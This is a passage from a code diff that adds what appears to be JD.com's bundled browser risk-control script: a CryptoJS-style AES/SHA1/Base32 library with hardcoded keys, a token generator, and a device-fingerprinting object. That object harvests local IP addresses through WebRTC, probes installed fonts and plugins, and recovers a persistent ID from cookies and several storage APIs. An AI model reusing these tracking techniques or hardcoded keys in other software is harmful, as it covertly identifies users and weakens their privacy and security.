a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS 